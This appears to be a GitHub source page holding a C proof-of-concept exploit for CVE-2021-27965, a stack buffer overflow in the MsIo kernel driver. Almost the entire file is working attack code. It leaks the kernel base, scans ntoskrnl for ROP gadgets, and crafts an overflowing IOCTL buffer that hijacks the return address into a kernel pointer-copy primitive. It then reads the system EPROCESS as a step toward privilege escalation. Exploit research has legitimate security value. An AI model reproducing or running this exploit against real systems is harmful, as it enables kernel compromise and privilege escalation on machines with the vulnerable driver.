-
Notifications
You must be signed in to change notification settings - Fork 4
/
CVE-2021-27965.c
263 lines (204 loc) · 8.41 KB
/
CVE-2021-27965.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
//include NtDll SDK
#include "D:\work\SDK\ntdll.h"
#pragma comment(lib, "ntdll.lib")
//include windows SDK and stdio for logging
#include <Windows.h>
#include <stdio.h>
//print error message, wait for enter and terminate
void __declspec(noreturn) error(const char* szErr)
{
printf("[-] %s\n", szErr);
getchar();
exit(-1);
}
//acquire base address of ntoskrnl.exe module in kernel space
PCHAR GetNtOsKrnlBase(void)
{
//get required size of SystemModuleInformation array
DWORD dwSize = 0;
if (NtQuerySystemInformation(SystemModuleInformation, nullptr, dwSize, &dwSize) != STATUS_INFO_LENGTH_MISMATCH)
error("Cannot get length of system module list array");
//alloc mem for system modules
PRTL_PROCESS_MODULES pSystemModules = (PRTL_PROCESS_MODULES)malloc(dwSize);
if (!pSystemModules)
error("Cannot allocate memory for system module list");
//query system modules
if (!NT_SUCCESS(NtQuerySystemInformation(SystemModuleInformation, pSystemModules, dwSize, &dwSize)))
error("Cannot get system module list");
DWORD dwCount = pSystemModules->NumberOfModules;
printf("[+] Found %d system modules\n", dwCount);
//for each system module check its full path name for substring "ntoskrnl.exe"
for (DWORD i = 0; i < dwCount; i++)
{
if (strstr((const char*)pSystemModules->Modules[i].FullPathName, "ntoskrnl.exe"))
{
//now get the image base addr
PCHAR pBase = (PCHAR)pSystemModules->Modules[i].ImageBase;
printf("[+] Found ntoskrnl.exe at 0x%p\n", pBase);
//free system module list and return leaked base address
free(pSystemModules);
return pBase;
}
}
//this shouldn't happen
error("Cannot find ntoskrnl.exe in system module list");
}
//find array of byte (AoB/pattern) in given memory block
DWORD FindAoB(PCHAR pMemBlock, PCHAR pAoB)
{
DWORD dwLen = 0;
//count AoB length
while (pAoB[dwLen])
++dwLen;
//loop endlessly in memblock and hope pattern will be found
for (DWORD i = 0;; i++)
{
bool bFound = true;
//simple implementation of memcmp(pMemBlock + i, pAoB, dwLen)
for (DWORD j = 0; j < dwLen; j++)
{
if (pMemBlock[i + j] != pAoB[j])
{
bFound = false;
break;
}
}
//if bFound was not changed, we found it! return offset from pMemBlock
if (bFound)
return i;
}
}
//hold all important data for submiting overflow data
typedef struct
{
HANDLE hDevice;
PCHAR HvlEndSystemInterrupt;
PCHAR RtlCopyLuid;
PCHAR NtTerminateThread;
}
OVERFLOW_PARAMS;
//return filled struct with all important pointers
OVERFLOW_PARAMS* GetOverflowParameters(HMODULE hNtOsKrnl, PCHAR pNtOsKrnl)
{
//calculate address of RtlCopyLuid in windows kernel (not to confuse with RtlCopyLuid in ntdll - that SMEP would not like)
//RtlCopyLuid disassembly:
// mov rax, qword ptr[rdx]
// mov qword ptr[rcx], rax
// ret
PCHAR kRtlCopyLuid = (PCHAR)GetProcAddress(hNtOsKrnl, "RtlCopyLuid");
if (!kRtlCopyLuid)
error("Cannot get ntoskrnl export RtlCopyLuid");
kRtlCopyLuid += pNtOsKrnl - (PCHAR)hNtOsKrnl;
printf("[+] Found RtlCopyLuid at 0x%p\n", kRtlCopyLuid);
//calculate address of HvlEndSystemInterrupt ROP gadget, its not exported function so lets AoB scan for it
//HvlEndSystemInterrupt+1e disassembly:
// pop rdx
// pop rax
// pop rcx
// ret
PCHAR HvlEndSystemInterrupt = pNtOsKrnl + FindAoB((PCHAR)hNtOsKrnl, "\x0f\x30\x5a\x58\x59\xc3") - 0x2;
printf("[+] Found HvlEndSystemInterrupt gadget at 0x%p\n", HvlEndSystemInterrupt);
//find NtTerminateThread in ntoskrnl, its not exported too but since it is changing between versions of kernel a lot, i cannot find AoB for it :(
//FIXME: using hardcoded offsets will break cross version compatibility, you need to locate NtTerminateThread manually and update offset here:
PCHAR kNtTerminateThread = pNtOsKrnl + 0x7098c0;
printf("[+] Found NtTerminateThread at 0x%p\n", kNtTerminateThread);
//open handle to vulnerable service
HANDLE hDevice = CreateFileW(L"\\\\.\\MsIo", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, nullptr, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, nullptr);
if (hDevice == INVALID_HANDLE_VALUE)
error("Cannot open handle to driver, is the service running?");
printf("[+] Opened MsIo control handle 0x%p\n", hDevice);
//make OVERFLOW_PARAMS and populate its entries
OVERFLOW_PARAMS* pOvParams = (OVERFLOW_PARAMS*)malloc(sizeof(OVERFLOW_PARAMS));
if (pOvParams == nullptr)
error("Cannot allocate heap for overflow parameters");
pOvParams->hDevice = hDevice;
pOvParams->HvlEndSystemInterrupt = HvlEndSystemInterrupt;
pOvParams->RtlCopyLuid = kRtlCopyLuid;
pOvParams->NtTerminateThread = kNtTerminateThread;
return pOvParams;
}
#define SYSTEM_BUFFER_SIZE (sizeof(ULONGLONG) * 19)
LPVOID g_SystemBuffer;
//call vulnerable driver with g_SystemBuffer
DWORD WINAPI CallDriver(HANDLE hDevice)
{
DWORD dwBytesReturned;
//submit overflow data to driver, from now there is no returning!
if (!DeviceIoControl(hDevice, 0x80102044, &g_SystemBuffer, SYSTEM_BUFFER_SIZE, &g_SystemBuffer, SYSTEM_BUFFER_SIZE, &dwBytesReturned, nullptr))
error("Error in ioctl");
error("Something went wrong because thread returned from ioctl");
}
//execute exploit 'driver stack based buffer overflow' by submiting overflow data. result: arbitrary coping of 8 bytes / ptr
void CopyKernelPointer(OVERFLOW_PARAMS* pOvParams, void* pDst, PCHAR pSrc)
{
//alloc heap for overflow data
ULONGLONG* OverflowData = (ULONGLONG*)malloc(SYSTEM_BUFFER_SIZE);
if (!OverflowData)
error("Cannot allocate memory for overflow data");
//craft special ioctl packet to overflow stack based buffer
OverflowData[0] = 0x1337133713371337;
OverflowData[1] = 0x1337133713371337;
OverflowData[2] = 0x1337133713371337;
OverflowData[3] = 0x1337133713371337;
OverflowData[4] = 0x1337133713371337;
OverflowData[5] = 0x1337133713371337;
OverflowData[6] = 0x1337133713371337;
OverflowData[7] = 0x1337133713371337;
OverflowData[8] = 0x1337133713371337;
//this will overwrite return address from ioctl dispatch
OverflowData[9] = (ULONGLONG)pOvParams->HvlEndSystemInterrupt;
OverflowData[10] = (ULONGLONG)pSrc;
OverflowData[11] = 0x1337133713371337;
OverflowData[12] = (ULONGLONG)pDst;
//return address from HvlEndSystemInterrupt
OverflowData[13] = (ULONGLONG)pOvParams->RtlCopyLuid;
//return address from RtlCopyLuid
OverflowData[14] = (ULONGLONG)pOvParams->HvlEndSystemInterrupt;
OverflowData[15] = 0x0000000000000000; //STATUS_SUCCESS
OverflowData[16] = 0x1337133713371337;
OverflowData[17] = 0xFFFFFFFFFFFFFFFE; //NtCurrentThread
//return address from HvlEndSystemInterrupt after RtlCopyLuid was called
OverflowData[18] = (ULONGLONG)pOvParams->NtTerminateThread;
//make pointer to overflow data global variable so the thread we will create can access it
g_SystemBuffer = OverflowData;
//we cannot directly ioctl the driver because its ioctl dispatch will be invoked in a context of calling thread - and that thread will get terminated
//that means CallDriver func is __declspec(noreturn) so we must create a dummy thread that will invoke it for us
HANDLE hThread = CreateThread(nullptr, NULL, CallDriver, pOvParams->hDevice, NULL, nullptr);
//wait for the thread
WaitForSingleObject(hThread, INFINITE);
//cleanup
CloseHandle(hThread);
free(g_SystemBuffer);
}
//entry of console application
DWORD main(DWORD argc, CHAR* argv[])
{
//hello world!
printf("\n******************************************\n");
printf("CVE-2021-27965 PoC exploit by mathisvickie");
printf("\n******************************************\n\n");
//first, obtain kernel base
PCHAR pNtOsKrnl = GetNtOsKrnlBase();
//load ntoskrnl.exe as resource
HMODULE hNtOsKrnl = LoadLibraryExW(L"ntoskrnl.exe", nullptr, DONT_RESOLVE_DLL_REFERENCES);
if (!hNtOsKrnl)
error("Cannot load ntoskrnl.exe");
//calculate system EPROCESS*
PCHAR PsInitialSystemProcess = (PCHAR)GetProcAddress(hNtOsKrnl, "PsInitialSystemProcess");
if (!PsInitialSystemProcess)
error("Cannot get ntoskrnl export PsInitialSystemProcess");
PsInitialSystemProcess += pNtOsKrnl - (PCHAR)hNtOsKrnl;
printf("[+] Found PsInitialSystemProcess at 0x%p\n", PsInitialSystemProcess);
//get all needed kernel pointers
OVERFLOW_PARAMS* pOvParams = GetOverflowParameters(hNtOsKrnl, pNtOsKrnl);
//ntoskrnl resource is no longer needed
FreeLibrary(hNtOsKrnl);
//get system EPROCESS
PCHAR SystemEPROCESS;
CopyKernelPointer(pOvParams, &SystemEPROCESS, PsInitialSystemProcess);
printf("[+] Found system EPROCESS at 0x%p\n", SystemEPROCESS);
getchar();
// ... TODO: continue, now we have CopyKernelPointer which is like read/write primitive
free(pOvParams);
return 0;
}